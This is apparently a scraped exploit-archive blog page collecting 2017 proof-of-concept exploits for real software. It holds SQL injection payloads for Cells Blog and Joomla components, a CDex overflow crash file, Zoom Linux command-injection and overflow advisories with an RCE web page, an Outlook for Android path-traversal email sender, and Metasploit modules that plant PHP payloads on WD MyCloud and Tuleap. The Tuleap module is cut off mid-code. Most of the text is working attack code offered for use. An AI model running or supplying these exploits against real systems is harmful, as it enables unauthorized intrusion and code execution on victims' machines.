# # # # #
# Exploit Title: Cells Blog 3.5 - SQL Injection
# Dork: N/A
# Date: 16.12.2017
# Vendor Homepage: http://www.cells.tw/
# Software Link: http://www.cells.tw/cells/
# Version: 3.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/pub_post.php?bgid=[SQL]&fmid=[SQL]
#
# -7+UNION%20SELECT+0x253331%2c0x253332%2c0x253333%2c0x253334%2c0x253335%2c0x253336%2c0x253337%2c0x253338%2c%39%2c0x253331253330%2c0x253331253331%2c0x253331253332%2c0x253331253333%2c0x253331253334%2c0x253331253335%2c0x253331253336%2c0x253331253337%2c0x253331253338%2c0x253331253339%2d%2d%20%2d
#
# Parameter: bgid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=1 AND 9841=9841&fmid=7
#
# Parameter: fmid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=1&fmid=7 AND 2056=2056
# 2)
# http://localhost/[PATH]/pub_openpic.php?bgid=[SQL]&fmid=[SQL]&fnid=[SQL]
#
# Parameter: fnid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=2&fmid=10&fnid=12 AND 1592=1592
#
# Parameter: fmid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=2&fmid=10 AND 3227=3227&fnid=12
#
# Parameter: bgid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=2 AND 6608=6608&fmid=10&fnid=12
#
# 3)
# http://localhost/[PATH]/album.php?bgid=[SQL]&fmid=[SQL]
#
# Parameter: fmid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=2&fmid=10 AND 9273=9273
#
# Parameter: bgid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=2 AND 9536=9536&fmid=10
#
# 4)
# http://localhost/[PATH]/fourm.php?bgid=[SQL]&fmid=[SQL]
#
# Parameter: fmid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=1&fmid=2 AND 5699=5699
#
# Parameter: bgid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: bgid=1 AND 9899=9899&fmid=2
#
# # # # #
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863552985
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# # # # #
# Exploit Title: Joomla! Component Guru Pro 'promocode'- SQL Injection
# Dork: N/A
# Date: 17.12.2017
# Vendor Homepage: https://www.ijoomla.com/
# Software Link: https://www.ijoomla.com/component/digistore/products/47-joomla-add-ons/119-guru-pro/189?Itemid=189
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/guruBuy?promocode=[SQL]
#
# '%20/*!50000Procedure*/%20/*!50000Analyse*/%20(extractvalue(0%2c/*!50000concat*/(0x27%2c0x496873616e2053656e63616e%2c0x3a%2c@@version))%2c0)%2d%2d%200x2d
#
# # # # #
# # # # #
# Exploit Title: Joomla! Component JB Visa 1.0 - SQL Injection
# Dork: N/A
# Date: 17.12.2017
# Vendor Homepage: http://joombooking.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/jb-visa/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_bookpro&view=popup&visatype=[SQL]
#
# 259999%20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*)%2cCONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e%2c0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200%2c1)%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)
#
# # # # #
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: CDex 1.96 - Local Stack Buffer Overflow
# Date: 17-12-2017
# Vulnerable Software: CDex 1.96 (Unicode Build)
# Vendor Homepage: http://cdex.mu/
# Version: v1.96
# Software Link: http://cdex.mu/?q=download
# Tested On: Windows 7 x32
#
#
# PoC: generate crash.txt, open app, go to options, settings, encoding, tags, paste crash.txt contents in picture text
#
# app crashes; 00420042 Pointer to next SEH record; no unicode ppr pointers
#
file="crash.txt"
crash = "A"*520 + "B"*4 #seh
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
[CONVISO-17-003] - Zoom Linux Client Command Injection Vulnerability (RCE)
1. Advisory Information
Conviso Advisory ID: CONVISO-17-003
CVE ID: CVE-2017-15049
CVSS v2: 10, (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Date: 2017-10-01
2. Affected Components
Zoom client for Linux, version 2.0.106600.0904 (zoom_amd64.deb). Other versions may be
vulnerable.
3. Description
The binary /opt/zoom/ZoomLauncher is vulnerable to command injection because it uses user input
to construct a shell command without proper sanitization.
The client registers a scheme handler (zoommtg://) and this makes possible to trigger the
vulnerability remotely.
4. Details
gef> r '$(uname)'
Starting program: /opt/zoom/ZoomLauncher '$(uname)'
ZoomLauncher started.
cmd line: $(uname)
$HOME = /home/user
Breakpoint 5, 0x0000000000401e1f in startZoom(char*, char*) ()
gef> x/3i $pc
=> 0x401e1f <_Z9startZoomPcS_+744>: call 0x4010f0 <strcat@plt>
0x401e24 <_Z9startZoomPcS_+749>: lea rax,[rbp-0x1420]
0x401e2b <_Z9startZoomPcS_+756>: mov rcx,0xffffffffffffffff
gef> x/s $rdi
0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \""
gef> x/s $rsi
0x7fffffffd750: "$(uname) "
gef> c
Continuing.
export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom "$(uname) "
Breakpoint 6, 0x0000000000401e82 in startZoom(char*, char*) ()
gef> x/3i $pc
=> 0x401e82 <_Z9startZoomPcS_+843>: call 0x401040 <system@plt>
0x401e87 <_Z9startZoomPcS_+848>: mov DWORD PTR [rbp-0x18],eax
0x401e8a <_Z9startZoomPcS_+851>: mov eax,DWORD PTR [rbp-0x18]
gef> x/s $rdi
0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \"$(uname) \""
--- RCE POC ---
<html>
<head>
</head>
<body>
<h1>Zoom POC RCE</h1>
<script>
window.location = 'zoommtg://$(gnome-calculator${IFS}-e${IFS}1337)'
</script>
<body>
</html>
5. Solution
Upgrade to latest version.
6. Credits
Ricardo Silva <rsilva@conviso.com.br>
Gabriel Quadros <gquadros@conviso.com.br>
7. Report Timeline
Set 28, 2017 - Conviso sent first email asking for a channel to discuss the vulnerability.
Set 28, 2017 - Vendor asked the report in the current channel.
Set 28, 2017 - Conviso sent informations to reproduce the vulnerability.
Set 28, 2017 - Conviso asked if they could reproduce it.
Set 28, 2017 - Vendor replied saying that the informations were forwarded to engineering team.
Oct 5, 2017 - Vendor provided a patch candidate for testing.
Oct 5, 2017 - Conviso pointed problems in the patch.
Oct 11, 2017 - Vendor provided a patch candidate for testing.
Oct 12, 2017 - Conviso pointed problems in the patch.
Oct 23, 2017 - Conviso asked for status.
Oct 27, 2017 - Conviso asked for status.
Nov 1, 2017 - Conviso asked for status.
Nov 3, 2017 - Vendor replied.
Nov 6, 2017 - Conviso asked for status.
Nov 6, 2017 - Vendor replied.
Nov 9, 2017 - Conviso asked for status.
Nov 13, 2017 - Conviso asked for status.
Nov 15, 2017 - Conviso asked for status.
Nov 16, 2017 - Vendor provided a patch candidate for testing.
Nov 16, 2017 - The patch seems to fix the attack vector, although no further research was done.
Nov 20, 2017 - Vendor thanked and marked the issue as solved, considering the patch as a
sastifactory fix.
Nov 30, 2017 - Vendor released the version 2.0.115900.1201
8. References
https://zoom.us/download
https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux
9. About Conviso
Conviso is a consulting company specialized on application security. Our values are based on the
allocation of the adequate competencies on the field, a clear and direct speech with the market,
collaboration and partnership with our customers and business partners and constant investments
on methodology and research improvement. For more information about our company and services
provided, please check our website at www.conviso.com.br.
10. Copyright and Disclaimer
The information in this advisory is Copyright 2017 Conviso Application Security S/A and provided
so that the society can understand the risk they may be facing by running affected software,
hardware or other components used on their systems. In case you wish to copy information from
this advisory, you must either copy all of it or refer to this document (including our URL). No
guarantee is provided for the accuracy of this information, or damage you may cause your systems
in testing.
'''
There is a directory traversal issue in attachment downloads in Outlook for Android. There is no path sanitization on the attachment filename in the app. If the email account is a Hotmail account, this will be sanitized by the server, but for other accounts it will not be. This allows a file to be written anywhere on the filesystem that the Outlook app can access when an attached image is viewed in the Outlook app.
This bug has the following limitations:
1) the email address has to be a non-Hotmail address
2) the file can not overwrite an existing file (append happens in this case), it has to be a file that doesn't already exist.
3) the user has to click the image and view it, it is not sufficient just to view the thumbnail in the message.
It is possible to modify a database using this bug by placing a journal file in the databases directory.
Below is a PoC of an email that causes this issue. Attached is a python script that will send an email that causes this issue (don't forget to add in the to and from addresses, and your email credentials). WARNING: this PoC will cause Outlook to crash repeatedly, and you will need to re-install it to get it to work again
Content-Type: Content-Type: multipart/mixed; boundary="----714A286D976BF3E58D9D671E37CBCF7C"
MIME-Version: 1.0
Subject: hello image2adfdfs1
To: EMAIL
From: natashenka@google.com
You will not see this in a MIME-aware mail reader.
------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: text/html
<html>
<body>
test
</body>
</html>
------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: image/png; name="t124"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="../databases/acompli.db-journal"
2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l
dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw=
------714A286D976BF3E58D9D671E37CBCF7C
'''
import os
import sys
import smtplib
import mimetypes
from optparse import OptionParser
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import subprocess
import random
def main():
FROM_ADDRESS = "YOUR FROM ADDRESS HERE"
YOUR_CREDENTIAL = "GET A GOOGLE ACCOUNT TEMPORARY PASSWORD AND PUT IT HERE"
TO_ADDRESS = "ACCOUNT TO ATTACK HERE"
composed = """Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="----714A286D976BF3E58D9D671E37CBCF7C"
MIME-Version: 1.0
Subject: hello image2adfdfs1
To: """+ TO_ADDRESS +"""
From: """ + FROM_ADDRESS + """
You will not see this in a MIME-aware mail reader.
------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: text/html
<html>
<body>
test
</body>
</html>
------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: image/png; name="t124"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="../databases/acompli.db-journal"
2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l
dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw=
------714A286D976BF3E58D9D671E37CBCF7C"""
s = smtplib.SMTP_SSL("smtp.gmail.com")
s.login(FROM_ADDRESS, YOUR_CREDENTIAL)
you = TO_ADDRESS
s.sendmail(FROM_ADDRESS, you, composed)
s.quit()
if __name__ == '__main__':
main()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability found in Western Digital's MyCloud
NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
PHP script provides multipart upload functionality that is accessible without authentication
and can be used to place a file anywhere on the device's file system. This allows an
attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
execution as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
],
'References' =>
[
['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'],
['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'],
['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'],
['CVE', '2017-17560']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => 'Jul 29 2017',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')
if res.nil?
vprint_error('Connection failed')
return CheckCode::Unknown
end
if res.code == 302 && res.headers['Location'] =~ /\?status=1/
return CheckCode::Vulnerable
end
CheckCode::Safe
end
def upload(web_folder, fname, file)
# construct post data
data = Rex::MIME::Message.new
data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")
# upload
res = send_request_cgi({
'method' => 'POST',
'uri' => '/web/jquery/uploader/multi_uploadify.php',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'vars_get' => {
'folder' => web_folder
}
})
end
def exploit
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
end
# upload PHP payload to '/var/www' (webroot).
web_folder = '/var/www'
php = "<?php #{payload.encoded} ?>"
print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"
res = upload(web_folder, fname, php)
# check upload response
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
if res.code != 302 || res.headers['Location'] =~ /\?status=0/
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
end
print_good('Uploaded PHP payload successfully.')
# register uploaded php payload file for cleanup
register_files_for_cleanup(fname)
# retrieve and execute PHP payload
print_status("Making request for '/#{fname}' to execute payload.")
res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
end
end
[CONVISO-17-002] - Zoom Linux Client Stack-based Buffer Overflow Vulnerability
1. Advisory Information
Conviso Advisory ID: CONVISO-17-002
CVE ID: CVE-2017-15048
CVSS v2: 6.8, (AV:N/AC:M/Au:N/C:P/I:P/A:P)
Date: 2017-10-01
2. Affected Components
Zoom client for Linux, version 2.0.106600.0904 (zoom_amd64.deb). Other versions may be
vulnerable.
3. Description
The binary /opt/zoom/ZoomLauncher is vulnerable to a buffer overflow because it concatenates a
overly long user input to a stack variable without checking if the destination buffer is long
enough to hold the data.
The binary also has important security features like canary turned off.
The client registers a scheme handler (zoommtg://) and this makes possible to trigger the
vulnerability remotely.
4. Details
gef> checksec
[+] checksec for '/opt/zoom/ZoomLauncher'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
gef>
gef> r $(python -c 'print "A"*1048 + "BBBBBBBB"')
Starting program: /opt/zoom/ZoomLauncher $(python -c 'print "A"*1048 + "BBBBBBBB"')
ZoomLauncher started.
Breakpoint 4, 0x00000000004025a6 in main ()
gef> x/5i $pc
=> 0x4025a6 <main+367>: call 0x4010f0 <strcat@plt>
0x4025ab <main+372>: lea rax,[rbp-0x410]
0x4025b2 <main+379>: mov rcx,0xffffffffffffffff
0x4025b9 <main+386>: mov rdx,rax
0x4025bc <main+389>: mov eax,0x0
gef> x/s $rdi
0x7fffffffd330: ""
gef> x/s $rsi
0x7fffffffdc35: 'A' <repeats 1048 times>, "BBBBBBBB"
gef> i f
Stack level 0, frame at 0x7fffffffd750:
rip = 0x4025a6 in main; saved rip = 0x7ffff7216f45
Arglist at 0x7fffffffd740, args:
Locals at 0x7fffffffd740, Previous frame's sp is 0x7fffffffd750
Saved registers:
rbp at 0x7fffffffd740, rip at 0x7fffffffd748
gef> ni
0x00000000004025ab in main ()
gef> i f
Stack level 0, frame at 0x7fffffffd750:
rip = 0x4025ab in main; saved rip = 0x4242424242424242
Arglist at 0x7fffffffd740, args:
Locals at 0x7fffffffd740, Previous frame's sp is 0x7fffffffd750
Saved registers:
rbp at 0x7fffffffd740, rip at 0x7fffffffd748
gef>
5. Solution
Upgrade to latest version.
6. Credits
Ricardo Silva <rsilva@conviso.com.br>
Gabriel Quadros <gquadros@conviso.com.br>
7. Report Timeline
Set 28, 2017 - Conviso sent first email asking for a channel to discuss the vulnerability.
Set 28, 2017 - Vendor asked the report in the current channel.
Set 28, 2017 - Conviso sent informations to reproduce the vulnerability.
Set 28, 2017 - Conviso asked if they could reproduce it.
Set 28, 2017 - Vendor replied saying that the informations were forwarded to engineering team.
Oct 5, 2017 - Vendor provided a patch candidate for testing.
Oct 5, 2017 - Conviso pointed problems in the patch.
Oct 11, 2017 - Vendor provided a patch candidate for testing.
Oct 12, 2017 - Conviso pointed problems in the patch.
Oct 23, 2017 - Conviso asked for status.
Oct 27, 2017 - Conviso asked for status.
Nov 1, 2017 - Conviso asked for status.
Nov 3, 2017 - Vendor replied.
Nov 6, 2017 - Conviso asked for status.
Nov 6, 2017 - Vendor replied.
Nov 9, 2017 - Conviso asked for status.
Nov 13, 2017 - Conviso asked for status.
Nov 15, 2017 - Conviso asked for status.
Nov 16, 2017 - Vendor provided a patch candidate for testing.
Nov 16, 2017 - The patch seems to fix the attack vector, although no further research was done.
Nov 20, 2017 - Vendor thanked and marked the issue as solved, considering the patch as a
sastifactory fix.
Nov 30, 2017 - Vendor released the version 2.0.115900.1201
8. References
https://zoom.us/download
https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux
9. About Conviso
Conviso is a consulting company specialized on application security. Our values are based on the
allocation of the adequate competencies on the field, a clear and direct speech with the market,
collaboration and partnership with our customers and business partners and constant investments
on methodology and research improvement. For more information about our company and services
provided, please check our website at www.conviso.com.br.
10. Copyright and Disclaimer
The information in this advisory is Copyright 2017 Conviso Application Security S/A and provided
so that the society can understand the risk they may be facing by running affected software,
hardware or other components used on their systems. In case you wish to copy information from
this advisory, you must either copy all of it or refer to this document (including our URL). No
guarantee is provided for the accuracy of this information, or damage you may cause your systems
in testing.
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1382
There is an out-of-bounds read in jscript.dll library (used in IE, WPAD and other places):
PoC for IE (note: page heap might be required to obsorve the crash):
=========================================
-->
<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">
function go() {
var r= new RegExp(Array(100).join('()'));
''.search(r);
alert(RegExp.lastParen);
}
go();
</script>
<!--
=========================================
Debug log:
=========================================
(cec.a14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript!RegExpFncObj::LastParen+0x43:
000007fe`f23d3813 4863accbac000000 movsxd rbp,dword ptr [rbx+rcx*8+0ACh] ds:00000000`04770154=????????
0:014> r
rax=0000000000000063 rbx=000000000476fd90 rcx=0000000000000063
rdx=0000000000000064 rsi=000000000476fd90 rdi=000007fef23d37d0
rip=000007fef23d3813 rsp=00000000130f9090 rbp=00000000130f9148
r8=00000000130f9210 r9=0000000000000000 r10=000000000463fef0
r11=000000000463ff38 r12=0000000000000083 r13=0000000000000000
r14=00000000130f9210 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
jscript!RegExpFncObj::LastParen+0x43:
000007fe`f23d3813 4863accbac000000 movsxd rbp,dword ptr [rbx+rcx*8+0ACh] ds:00000000`04770154=????????
0:014> k
# Child-SP RetAddr Call Site
00 00000000`130f9090 000007fe`f2385e6d jscript!RegExpFncObj::LastParen+0x43
01 00000000`130f90e0 000007fe`f236b293 jscript!NameTbl::GetVal+0x3d5
02 00000000`130f9170 000007fe`f2369d27 jscript!VAR::InvokeByName+0x873
03 00000000`130f9380 000007fe`f2368ec2 jscript!CScriptRuntime::Run+0x373
04 00000000`130fa180 000007fe`f23694b3 jscript!ScrFncObj::CallWithFrameOnStack+0x162
05 00000000`130fa390 000007fe`f23686ea jscript!NameTbl::InvokeInternal+0x2d3
06 00000000`130fa4b0 000007fe`f23624b8 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea
07 00000000`130fa500 000007fe`f2368ec2 jscript!CScriptRuntime::Run+0x5a6
08 00000000`130fb300 000007fe`f2368d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
09 00000000`130fb510 000007fe`f2368b95 jscript!ScrFncObj::Call+0xb7
0a 00000000`130fb5b0 000007fe`f236e6c0 jscript!CSession::Execute+0x19e
0b 00000000`130fb680 000007fe`f23770e7 jscript!COleScript::ExecutePendingScripts+0x17a
0c 00000000`130fb750 000007fe`f23768d6 jscript!COleScript::ParseScriptTextCore+0x267
0d 00000000`130fb840 000007fe`e9a85251 jscript!COleScript::ParseScriptText+0x56
0e 00000000`130fb8a0 000007fe`ea20b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
0f 00000000`130fb920 000007fe`e9a86256 MSHTML!CScriptCollection::ParseScriptText+0x37f
10 00000000`130fba00 000007fe`e9a85c8e MSHTML!CScriptData::CommitCode+0x3d9
11 00000000`130fbbd0 000007fe`e9a85a11 MSHTML!CScriptData::Execute+0x283
12 00000000`130fbc90 000007fe`ea2446fb MSHTML!CHtmScriptParseCtx::Execute+0x101
13 00000000`130fbcd0 000007fe`e9b28a5b MSHTML!CHtmParseBase::Execute+0x235
14 00000000`130fbd70 000007fe`e9a02e39 MSHTML!CHtmPost::Broadcast+0x90
15 00000000`130fbdb0 000007fe`e9a5caef MSHTML!CHtmPost::Exec+0x4bb
16 00000000`130fbfc0 000007fe`e9a5ca40 MSHTML!CHtmPost::Run+0x3f
17 00000000`130fbff0 000007fe`e9a5da12 MSHTML!PostManExecute+0x70
18 00000000`130fc070 000007fe`e9a60843 MSHTML!PostManResume+0xa1
19 00000000`130fc0b0 000007fe`e9a46fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43
1a 00000000`130fc100 000007fe`ea274f78 MSHTML!CDwnChan::OnMethodCall+0x41
1b 00000000`130fc130 000007fe`e9969d75 MSHTML!GlobalWndOnMethodCall+0x240
1c 00000000`130fc1d0 00000000`771f9bbd MSHTML!GlobalWndProc+0x150
1d 00000000`130fc250 00000000`771f98c2 USER32!UserCallWinProcCheckWow+0x1ad
1e 00000000`130fc310 000007fe`f2694a87 USER32!DispatchMessageWorker+0x3b5
1f 00000000`130fc390 000007fe`f269babb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
20 00000000`130ff610 000007fe`fe4c572f IEFRAME!LCIETab_ThreadProc+0x3a3
21 00000000`130ff740 000007fe`f535925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
22 00000000`130ff770 00000000`772f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
23 00000000`130ff7c0 00000000`7742a561 kernel32!BaseThreadInitThunk+0xd
24 00000000`130ff7f0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
=========================================
-->
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',
'Description' => %q{
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
webserver. The vulnerability exists because of the User::getRecentElements() method is using the
unserialize() function with data that can be arbitrarily manipulated by a user through the REST
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2017-02'],
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
['CVE', '2017-7411']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Tuleap <= 9.6', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 23 2017'
))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),
Opt::RPORT(443)
])
end
def setup_popchain(random_param)
print_status("Trying to login through the REST API...")
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/tokens'),
'ctype' => 'application/json',
'data' => {'username' => user, 'password' => pass}.to_json
})
unless res && (res.code == 201 || res.code == 200) && res.body
msg = "Login failed with #{user}:#{pass}"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
body = JSON.parse(res.body)
uid = body['user_id']
token = body['token']
print_good("Login successful with #{user}:#{pass}")
print_status("Updating user preference with POP chain string...")
php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"
pop_chain = 'a:1:{i:0;a:1:{'
pop_chain << 's:2:"id";O:8:"Mustache":2:{'
pop_chain << 'S:12:"\00*\00_template";'
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
pop_chain << 'S:11:"\00*\00_context";a:1:{'
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"
pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}
res = send_request_cgi({
